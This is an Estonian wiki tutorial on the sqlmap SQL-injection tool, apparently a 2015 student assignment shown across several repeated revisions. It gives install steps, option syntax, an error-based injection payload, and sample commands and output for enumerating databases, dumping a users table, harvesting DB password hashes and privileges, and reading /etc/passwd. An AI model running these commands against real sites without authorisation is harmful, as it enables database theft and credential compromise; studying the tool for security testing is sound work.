<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51"</pre><br />
<br />
Näidisväljund, milles näha opsüsteem, veebiserveri ja andmebaasi tüüp koos versiooninumbriga:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>[*] starting at 12:10:33<br />
<br />
[12:10:33] [INFO] resuming back-end DBMS 'mysql' <br />
[12:10:34] [INFO] testing connection to the target url<br />
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br />
---<br />
Place: GET<br />
Parameter: id<br />
Type: error-based<br />
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause<br />
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)<br />
---<br />
[12:10:37] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5</pre><br />
<br />
2. Kuna antud veebiserver on seega rünnatav, saab näiteks tagastada '''andmebaaside nimekirja''', kasutades võtit '''--dbs''':[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs</pre><br />
<br />
Näidisväljund, mis näitab andmebaaside nimekirja:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>[*] starting at 12:12:56<br />
<br />
[12:12:56] [INFO] resuming back-end DBMS 'mysql' <br />
[12:12:57] [INFO] testing connection to the target url<br />
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br />
---<br />
Place: GET<br />
Parameter: id<br />
Type: error-based<br />
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause<br />
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)<br />
---<br />
[12:13:00] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5<br />
[12:13:00] [INFO] fetching database names<br />
[12:13:00] [INFO] the SQL query used returns 2 entries<br />
[12:13:00] [INFO] resumed: information_schema<br />
[12:13:00] [INFO] resumed: safecosmetics<br />
available databases [2]:<br />
[*] information_schema<br />
[*] safecosmetics</pre><br />
<br />
3. Leiame '''kõik tabelid''', mis asuvad andmebaasis "safecosmetics":[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>[11:55:18] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5<br />
[11:55:18] [INFO] fetching tables for database: 'safecosmetics'<br />
[11:55:19] [INFO] heuristics detected web page charset 'ascii'<br />
[11:55:19] [INFO] the SQL query used returns 216 entries<br />
[11:55:20] [INFO] retrieved: acl_acl<br />
[11:55:21] [INFO] retrieved: acl_acl_sections <br />
........... more tables</pre><br />
<br />
4. Leiame '''veerud tabelis''' "users" andmebaasis "safecosmetics":[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/] <br />
<br />
<pre>[12:17:39] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5<br />
[12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics'<br />
[12:17:41] [INFO] heuristics detected web page charset 'ascii'<br />
[12:17:41] [INFO] the SQL query used returns 8 entries<br />
[12:17:42] [INFO] retrieved: id<br />
[12:17:43] [INFO] retrieved: int(11) <br />
[12:17:45] [INFO] retrieved: name <br />
[12:17:46] [INFO] retrieved: text <br />
[12:17:47] [INFO] retrieved: password <br />
[12:17:48] [INFO] retrieved: text <br />
<br />
.......<br />
<br />
[12:17:59] [INFO] retrieved: hash<br />
[12:18:01] [INFO] retrieved: varchar(128)<br />
Database: safecosmetics<br />
Table: users<br />
[8 columns]<br />
+-------------------+--------------+<br />
| Column | Type |<br />
+-------------------+--------------+<br />
| email | text |<br />
| hash | varchar(128) |<br />
| id | int(11) |<br />
| name | text |<br />
| password | text |<br />
| permission | tinyint(4) |<br />
| system_allow_only | text |<br />
| system_home | text |<br />
+-------------------+--------------+</pre><br />
<br />
5. Leiame eelnevast '''tabelist andmed''':[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users</pre><br />
<br />
Näidisväljund, mis on sarnane mysqldump käsule:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+<br />
| id | hash | name | email | password | permission | system_home | system_allow_only |<br />
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+<br />
| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |<br />
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+</pre><br />
<br />
'''<br />
====Kasutajad====<br />
'''<br />
<br />
1. Järgnev käsk tagastab infot '''kasutajate ja rollide''' kohta.[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>..........<br />
<br />
database management system users [5]:<br />
[*] ''@'localhost'<br />
[*] ''@'localhost.localdomain'<br />
[*] 'root'@'127.0.0.1'<br />
[*] 'root'@'localhost'<br />
[*] 'root'@'localhost.localdomain'<br />
<br />
.............<br />
<br />
database management system users password hashes:<br />
[*] [1]:<br />
password hash: NULL<br />
[*] root [2]:<br />
password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19<br />
password hash: NULL<br />
<br />
........<br />
<br />
[*] %root% (administrator) [27]:<br />
privilege: ALTER<br />
privilege: ALTER ROUTINE<br />
privilege: CREATE<br />
privilege: CREATE ROUTINE<br />
privilege: CREATE TEMPORARY TABLES<br />
privilege: CREATE USER<br />
privilege: CREATE VIEW<br />
privilege: DELETE<br />
privilege: DROP<br />
privilege: EVENT<br />
privilege: EXECUTE<br />
privilege: FILE<br />
privilege: INDEX<br />
privilege: INSERT<br />
privilege: LOCK TABLES<br />
privilege: PROCESS<br />
privilege: REFERENCES<br />
privilege: RELOAD<br />
privilege: REPLICATION CLIENT<br />
privilege: REPLICATION SLAVE<br />
privilege: SELECT<br />
privilege: SHOW DATABASES<br />
privilege: SHOW VIEW<br />
privilege: SHUTDOWN<br />
privilege: SUPER<br />
privilege: TRIGGER<br />
privilege: UPDATE</pre><br />
<br />
2. Leiame info hetkel kasutusel oleva '''kasutaja, andmebaasi ja hostinime''' kohta:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>........<br />
[11:32:33] [INFO] the back-end DBMS is MySQL<br />
web server operating system: Linux Red Hat Enterprise 6 (Santiago)<br />
web application technology: PHP 5.3.3, Apache 2.2.15<br />
back-end DBMS: MySQL 5.0.11<br />
[11:32:33] [INFO] fetching current user<br />
[11:32:33] [INFO] retrieving the length of query output<br />
[11:32:33] [INFO] retrieved: 14<br />
[11:32:38] [INFO] retrieved: root@localhost <br />
current user: 'root@localhost'<br />
[11:32:38] [INFO] fetching current database<br />
[11:32:38] [INFO] retrieving the length of query output<br />
[11:32:38] [INFO] retrieved: 5<br />
[11:32:40] [INFO] resumed: profile_data<br />
current database: 'profile_data'<br />
[11:32:40] [INFO] fetching server hostname<br />
[11:32:40] [INFO] retrieving the length of query output<br />
[11:32:40] [INFO] retrieved: 21<br />
[11:32:48] [INFO] retrieved: localhost.localdomain <br />
hostname: 'localhost.localdomain'<br />
[11:32:48] [INFO] testing if current user is DBA<br />
[11:32:48] [INFO] fetching current user<br />
current user is DBA: False</pre><br />
<br />
3. Leiame kasutaja '''parooliräsi''':[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]<br />
<br />
<pre>sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump</pre><br />
<br />
Näidisväljund:[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]<br />
<br />
<pre>[10:59:15] [INFO] the SQL query used returns 1 entries<br />
[10:59:17] [INFO] retrieved: 24iYBc17xK0e.<br />
[10:59:18] [INFO] analyzing table dump for possible password hashes<br />
Database: sqldummywebsite<br />
Table: user_info<br />
[1 entry]<br />
+---------------+<br />
| user_password |<br />
+---------------+<br />
| 24iYBc17xK0e. |<br />
+---------------+</pre><br />
'''<br />
====Failid====<br />
'''<br />
<br />
1. '''Faili lugemine''' kui on olemas vajalikud õigused, näiteks /etc/passwd:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10</pre><br />
<br />
'''<br />
==Kokkuvõte==<br />
'''<br />
<br />
SQLmap on väärtuslik töörist, selleks et mugavalt testida oma süsteemi SQL injektsioonide suhtes ja leida üles olemasolevad nõrkused. Teda on võimalik seadistada vastavalt enda vajadustele ja toetab paljusid andmebaasisüsteeme. Lisaks on ta kasutatav nii Windowsi kui Linux/Unix all. <br />
<br />
'''<br />
==Kasutatud kirjandus==<br />
'''<br />
[http://www.binarytides.com/sqlmap-hacking-tutorial/ Binarytides]<br />
<br />
[http://www.binarytides.com/hack-remote-database-sqlmap/ Binarytides]<br />
<br />
[https://hackertarget.com/sqlmap-tutorial/ Hackertarget]<br />
<br />
[https://github.com/sqlmapproject/sqlmap/wiki/Usage SQLmap Usage]<br />
<br />
[https://github.com/sqlmapproject/sqlmap/wiki/Features SQLmap Features]<br />
<br />
[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/ Darkmoreops]</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Sqlmap&diff=88533
Sqlmap
2015-05-14T14:43:52Z
<p>Eprudnik: </p>
<hr />
<div>'''''<br />
= SQLmap =<br />
'''''<br />
Autor: Elina Prudnikova <br />
<br />
Rühm: A21<br />
<br />
Mai 2015<br />
'''''<br />
== Lühikirjeldus ==<br />
'''''<br />
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]<br />
<br />
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, eskaleerida kasutaja õigusi jne. [http://sqlmap.org/]<br />
<br />
<span style="color:red"> NB! SQLmap'i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!</span><br />
<br />
'''<br />
==Paigaldamine==<br />
'''<br />
<br />
SQLmap on operatsioonisüsteemist sõltumatu, kuna on kirjutatud keeles Python. Teda on võimalik kasutada nii Windowsis kui ka Linux/Unix all. [https://github.com/sqlmapproject/sqlmap/wiki/Dependencies]<br />
<br />
'''<br />
====1. Linux/Unix====<br />
'''<br />
<br />
SQLmap'i jaoks on kõigepealt vaja paigaldada Python 2.6 või 2.7 versioon. <br />
<br />
1. Paigalda Python (Debian, Ubuntu).<br />
<br />
<pre>sudo apt-get install python2.6</pre><br />
<br />
2. Kontrolli versiooni.<br />
<br />
<pre>python --version</pre><br />
<br />
3. Seejärel alla laadida SQLmap.<br />
<br />
<pre>wget from http://sqlmap.sourceforge.net/#download</pre><br />
<br />
4. Pakkida see lahti ja käivitada.<br />
<br />
<pre>tar zxvf sqlmap-0.9.tar.gz<br />
<br />
cd sqlmap<br />
<br />
python sqlmap.py</pre><br />
<br />
5. Edukal paigaldamisel tagastab SQLmap:<br />
<br />
<pre>sqlmap/0.9 - automatic SQL injection and database takeover tool<br />
http://sqlmap.sourceforge.net<br />
<br />
Usage: python sqlmap.py [options]<br />
<br />
sqlmap.py: error: missing a mandatory parameter ('-d', '-u', '-l', '-r', '-g', '-c', '--wizard' or '--update'), -h for help</pre><br />
<br />
[https://hackertarget.com/sqlmap-tutorial/ Abi paigaldamisel Linux/Unix all]<br />
<br />
'''<br />
====2. Windows====<br />
'''<br />
<br />
1. Alla laadida ja paigaldada Python 2.6 või 2.7 kodulehelt: [https://www.python.org/ Python]<br />
<br />
2. Alla laadida zip fail SQLmap'i kodulehelt, pakkida see lahti. [https://sqlmap.org SQLmap] Käsurealt liikuda kataloogi, kuhu see lahti pakiti ja käivitada.<br />
<br />
<pre>C:\sqlmapproject-sqlmap-2defc30>python ./sqlmap.py<br />
Usage: ./sqlmap.py [options]<br />
<br />
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wiza<br />
rd, --update, --purge-output or --dependencies), use -h for basic or -hh for adv<br />
anced help<br />
<br />
Press Enter to continue...</pre><br />
<br />
[http://www.binarytides.com/install-run-sqlmap-windows/ Abiks Windowsis paigaldamisel]<br />
<br />
'''<br />
==Süntaks==<br />
'''<br />
<br />
Ülevaade SQLmap'i [https://github.com/sqlmapproject/sqlmap/wiki/Usage süntaksist]. Käsu üldkuju:<br />
<br />
<pre>python sqlmap.py [options]</pre><br />
<br />
Mõned võtmed:<br />
<br />
1. '''Sihtmärk''', kellega ühendutakse:<br />
<br />
<pre><br />
-d DIRECT Otseühendus andmebaasiga<br />
-u URL, --url=URL Sihtmärgi URL (näiteks "www.target.com/vuln.php?id=1")</pre><br />
<br />
2. '''Päring''', kuidas sihtmärgiga ühendutakse:<br />
<br />
<pre><br />
--data=DATA Andmestring saadetakse läbi POST'i<br />
--host=HOST HTTP Host'i päis<br />
--proxy=PROXY Kasutada HTTP proxy't et ühenduda URL'iga<br />
--delay=DELAY Ooteaeg sekundites HTTP päringute vahel<br />
--force-ssl Kasuta SSL/HTTPS'i<br />
</pre><br />
<br />
3. '''Optimiseerimine''':<br />
<br />
<pre>--threads=THREADS Samaaegsete HTTP(s) päringute arv (vaikimisi 1)</pre><br />
<br />
4. '''Andmebaas''':<br />
<br />
<pre><br />
-a, --all Tagasta kõik<br />
--current-user Tagasta hetkel kasutuses oleva kasutaja<br />
--users Loetle kasutajad<br />
--passwords Loetle kasutajate parooliräsid<br />
--privileges Loetle kasutajate privileegid<br />
--roles Loetle kasutajate rollid<br />
--dbs Loetle andmebaasid<br />
--tables Loetle andmebaasi tabelid<br />
--columns Loetle andmebaasi tabeli veerud<br />
--schema Loetle andmebaasi skeem<br />
--dump Väljasta kogu andmebaasi sisu<br />
--dump-all Väljasta kõikide andmebaaside sisu<br />
--search Otsi veergu, tabelit ja/või andmebaasi nime<br />
-D DB Mis andmebaasist loetleda<br />
-T TBL Mis andmebaasi tabelist loetleda<br />
-C COL Mis tabeli veerust loetleda<br />
-U USER Mis kasutaja kohta loetleda<br />
</pre><br />
<br />
5. '''Failid''':<br />
<br />
<pre><br />
--file-read=RFILE Loe fail süsteemist<br />
--file-write=WFILE Kirjuta fail süsteemi<br />
--file-dest=DFILE Absoluutne failitee kuhu kirjutada<br />
</pre><br />
<br />
'''<br />
==Kasutamine==<br />
'''<br />
'''<br />
====1. Andmebaasid ja tabelid====<br />
'''<br />
<br />
1. Oletame, et tahame SQLmap'iga testida veebilehte. Selleks laseme SQLmap'il kõigepealt kontrollida, kas antud veebileht on nõrkusega SQL injektsiooni suhtes. Kasutame võtit '''-u''' (URL).[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51"</pre><br />
<br />
Näidisväljund, milles näha opsüsteem, veebiserveri ja andmebaasi tüüp koos versiooninumbriga:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>[*] starting at 12:10:33<br />
<br />
[12:10:33] [INFO] resuming back-end DBMS 'mysql' <br />
[12:10:34] [INFO] testing connection to the target url<br />
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br />
---<br />
Place: GET<br />
Parameter: id<br />
Type: error-based<br />
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause<br />
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)<br />
---<br />
[12:10:37] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5</pre><br />
<br />
2. Kuna antud veebiserver on seega rünnatav, saab näiteks tagastada '''andmebaaside nimekirja''', kasutades võtit '''--dbs''':[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs</pre><br />
<br />
Näidisväljund, mis näitab andmebaaside nimekirja:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>[*] starting at 12:12:56<br />
<br />
[12:12:56] [INFO] resuming back-end DBMS 'mysql' <br />
[12:12:57] [INFO] testing connection to the target url<br />
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br />
---<br />
Place: GET<br />
Parameter: id<br />
Type: error-based<br />
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause<br />
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)<br />
---<br />
[12:13:00] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5<br />
[12:13:00] [INFO] fetching database names<br />
[12:13:00] [INFO] the SQL query used returns 2 entries<br />
[12:13:00] [INFO] resumed: information_schema<br />
[12:13:00] [INFO] resumed: safecosmetics<br />
available databases [2]:<br />
[*] information_schema<br />
[*] safecosmetics</pre><br />
<br />
3. Leiame '''kõik tabelid''', mis asuvad andmebaasis "safecosmetics":[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>[11:55:18] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5<br />
[11:55:18] [INFO] fetching tables for database: 'safecosmetics'<br />
[11:55:19] [INFO] heuristics detected web page charset 'ascii'<br />
[11:55:19] [INFO] the SQL query used returns 216 entries<br />
[11:55:20] [INFO] retrieved: acl_acl<br />
[11:55:21] [INFO] retrieved: acl_acl_sections <br />
........... more tables</pre><br />
<br />
4. Leiame '''veerud tabelis''' "users" andmebaasis "safecosmetics":[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/] <br />
<br />
<pre>[12:17:39] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5<br />
[12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics'<br />
[12:17:41] [INFO] heuristics detected web page charset 'ascii'<br />
[12:17:41] [INFO] the SQL query used returns 8 entries<br />
[12:17:42] [INFO] retrieved: id<br />
[12:17:43] [INFO] retrieved: int(11) <br />
[12:17:45] [INFO] retrieved: name <br />
[12:17:46] [INFO] retrieved: text <br />
[12:17:47] [INFO] retrieved: password <br />
[12:17:48] [INFO] retrieved: text <br />
<br />
.......<br />
<br />
[12:17:59] [INFO] retrieved: hash<br />
[12:18:01] [INFO] retrieved: varchar(128)<br />
Database: safecosmetics<br />
Table: users<br />
[8 columns]<br />
+-------------------+--------------+<br />
| Column | Type |<br />
+-------------------+--------------+<br />
| email | text |<br />
| hash | varchar(128) |<br />
| id | int(11) |<br />
| name | text |<br />
| password | text |<br />
| permission | tinyint(4) |<br />
| system_allow_only | text |<br />
| system_home | text |<br />
+-------------------+--------------+</pre><br />
<br />
5. Leiame eelnevast '''tabelist andmed''':[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users</pre><br />
<br />
Näidisväljund, mis on sarnane mysqldump käsule:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+<br />
| id | hash | name | email | password | permission | system_home | system_allow_only |<br />
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+<br />
| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |<br />
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+</pre><br />
<br />
'''<br />
====2. Kasutajad====<br />
'''<br />
<br />
Järgnev käsk tagastab infot '''kasutajate ja rollide''' kohta.[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>..........<br />
<br />
database management system users [5]:<br />
[*] ''@'localhost'<br />
[*] ''@'localhost.localdomain'<br />
[*] 'root'@'127.0.0.1'<br />
[*] 'root'@'localhost'<br />
[*] 'root'@'localhost.localdomain'<br />
<br />
.............<br />
<br />
database management system users password hashes:<br />
[*] [1]:<br />
password hash: NULL<br />
[*] root [2]:<br />
password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19<br />
password hash: NULL<br />
<br />
........<br />
<br />
[*] %root% (administrator) [27]:<br />
privilege: ALTER<br />
privilege: ALTER ROUTINE<br />
privilege: CREATE<br />
privilege: CREATE ROUTINE<br />
privilege: CREATE TEMPORARY TABLES<br />
privilege: CREATE USER<br />
privilege: CREATE VIEW<br />
privilege: DELETE<br />
privilege: DROP<br />
privilege: EVENT<br />
privilege: EXECUTE<br />
privilege: FILE<br />
privilege: INDEX<br />
privilege: INSERT<br />
privilege: LOCK TABLES<br />
privilege: PROCESS<br />
privilege: REFERENCES<br />
privilege: RELOAD<br />
privilege: REPLICATION CLIENT<br />
privilege: REPLICATION SLAVE<br />
privilege: SELECT<br />
privilege: SHOW DATABASES<br />
privilege: SHOW VIEW<br />
privilege: SHUTDOWN<br />
privilege: SUPER<br />
privilege: TRIGGER<br />
privilege: UPDATE</pre><br />
<br />
Leiame info hetkel kasutusel oleva '''kasutaja, andmebaasi ja hostinime''' kohta:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>........<br />
[11:32:33] [INFO] the back-end DBMS is MySQL<br />
web server operating system: Linux Red Hat Enterprise 6 (Santiago)<br />
web application technology: PHP 5.3.3, Apache 2.2.15<br />
back-end DBMS: MySQL 5.0.11<br />
[11:32:33] [INFO] fetching current user<br />
[11:32:33] [INFO] retrieving the length of query output<br />
[11:32:33] [INFO] retrieved: 14<br />
[11:32:38] [INFO] retrieved: root@localhost <br />
current user: 'root@localhost'<br />
[11:32:38] [INFO] fetching current database<br />
[11:32:38] [INFO] retrieving the length of query output<br />
[11:32:38] [INFO] retrieved: 5<br />
[11:32:40] [INFO] resumed: profile_data<br />
current database: 'profile_data'<br />
[11:32:40] [INFO] fetching server hostname<br />
[11:32:40] [INFO] retrieving the length of query output<br />
[11:32:40] [INFO] retrieved: 21<br />
[11:32:48] [INFO] retrieved: localhost.localdomain <br />
hostname: 'localhost.localdomain'<br />
[11:32:48] [INFO] testing if current user is DBA<br />
[11:32:48] [INFO] fetching current user<br />
current user is DBA: False</pre><br />
<br />
'''<br />
====2. Failid====<br />
'''<br />
<br />
'''Faili lugemine''' kui on olemas vajalikud õigused, näiteks /etc/passwd:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10</pre><br />
<br />
'''<br />
==Kasutatud kirjandus==<br />
'''<br />
[http://www.binarytides.com/sqlmap-hacking-tutorial/ Binarytides]<br />
<br />
[http://www.binarytides.com/hack-remote-database-sqlmap/ Binarytides]<br />
<br />
[https://hackertarget.com/sqlmap-tutorial/ Hackertarget]<br />
<br />
[https://github.com/sqlmapproject/sqlmap/wiki/Usage SQLmap]</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Sqlmap&diff=88532
Sqlmap
2015-05-14T14:08:05Z
<p>Eprudnik: </p>
<hr />
<div>'''''<br />
= SQLmap =<br />
'''''<br />
Autor: Elina Prudnikova <br />
<br />
Rühm: A21<br />
<br />
Mai 2015<br />
'''''<br />
== Lühikirjeldus ==<br />
'''''<br />
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]<br />
<br />
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, eskaleerida kasutaja õigusi jne. [http://sqlmap.org/]<br />
<br />
<span style="color:red"> NB! SQLmap'i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!</span><br />
<br />
'''<br />
==Paigaldamine==<br />
'''<br />
<br />
SQLmap on operatsioonisüsteemist sõltumatu, kuna on kirjutatud keeles Python. Teda on võimalik kasutada nii Windowsis kui ka Linux/Unix all. [https://github.com/sqlmapproject/sqlmap/wiki/Dependencies]<br />
<br />
'''<br />
====1. Linux/Unix====<br />
'''<br />
<br />
SQLmap'i jaoks on kõigepealt vaja paigaldada Python 2.6 või 2.7 versioon. <br />
<br />
1. Paigalda Python (Debian, Ubuntu).<br />
<br />
<pre>sudo apt-get install python2.6</pre><br />
<br />
2. Kontrolli versiooni.<br />
<br />
<pre>python --version</pre><br />
<br />
3. Seejärel alla laadida SQLmap.<br />
<br />
<pre>wget from http://sqlmap.sourceforge.net/#download</pre><br />
<br />
4. Pakkida see lahti ja käivitada.<br />
<br />
<pre>tar zxvf sqlmap-0.9.tar.gz<br />
<br />
cd sqlmap<br />
<br />
python sqlmap.py</pre><br />
<br />
5. Edukal paigaldamisel tagastab SQLmap:<br />
<br />
<pre>sqlmap/0.9 - automatic SQL injection and database takeover tool<br />
http://sqlmap.sourceforge.net<br />
<br />
Usage: python sqlmap.py [options]<br />
<br />
sqlmap.py: error: missing a mandatory parameter ('-d', '-u', '-l', '-r', '-g', '-c', '--wizard' or '--update'), -h for help</pre><br />
<br />
[https://hackertarget.com/sqlmap-tutorial/ Abi paigaldamisel Linux/Unix all]<br />
<br />
'''<br />
====2. Windows====<br />
'''<br />
<br />
1. Alla laadida ja paigaldada Python 2.6 või 2.7 kodulehelt: [https://www.python.org/ Python]<br />
<br />
2. Alla laadida zip fail SQLmap'i kodulehelt, pakkida see lahti. [https://sqlmap.org SQLmap] Käsurealt liikuda kataloogi, kuhu see lahti pakiti ja käivitada.<br />
<br />
<pre>C:\sqlmapproject-sqlmap-2defc30>python ./sqlmap.py<br />
Usage: ./sqlmap.py [options]<br />
<br />
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wiza<br />
rd, --update, --purge-output or --dependencies), use -h for basic or -hh for adv<br />
anced help<br />
<br />
Press Enter to continue...</pre><br />
<br />
[http://www.binarytides.com/install-run-sqlmap-windows/ Abiks Windowsis paigaldamisel]<br />
<br />
'''<br />
==Kasutamine==<br />
'''<br />
'''<br />
====1. Andmebaasid ja tabelid====<br />
'''<br />
<br />
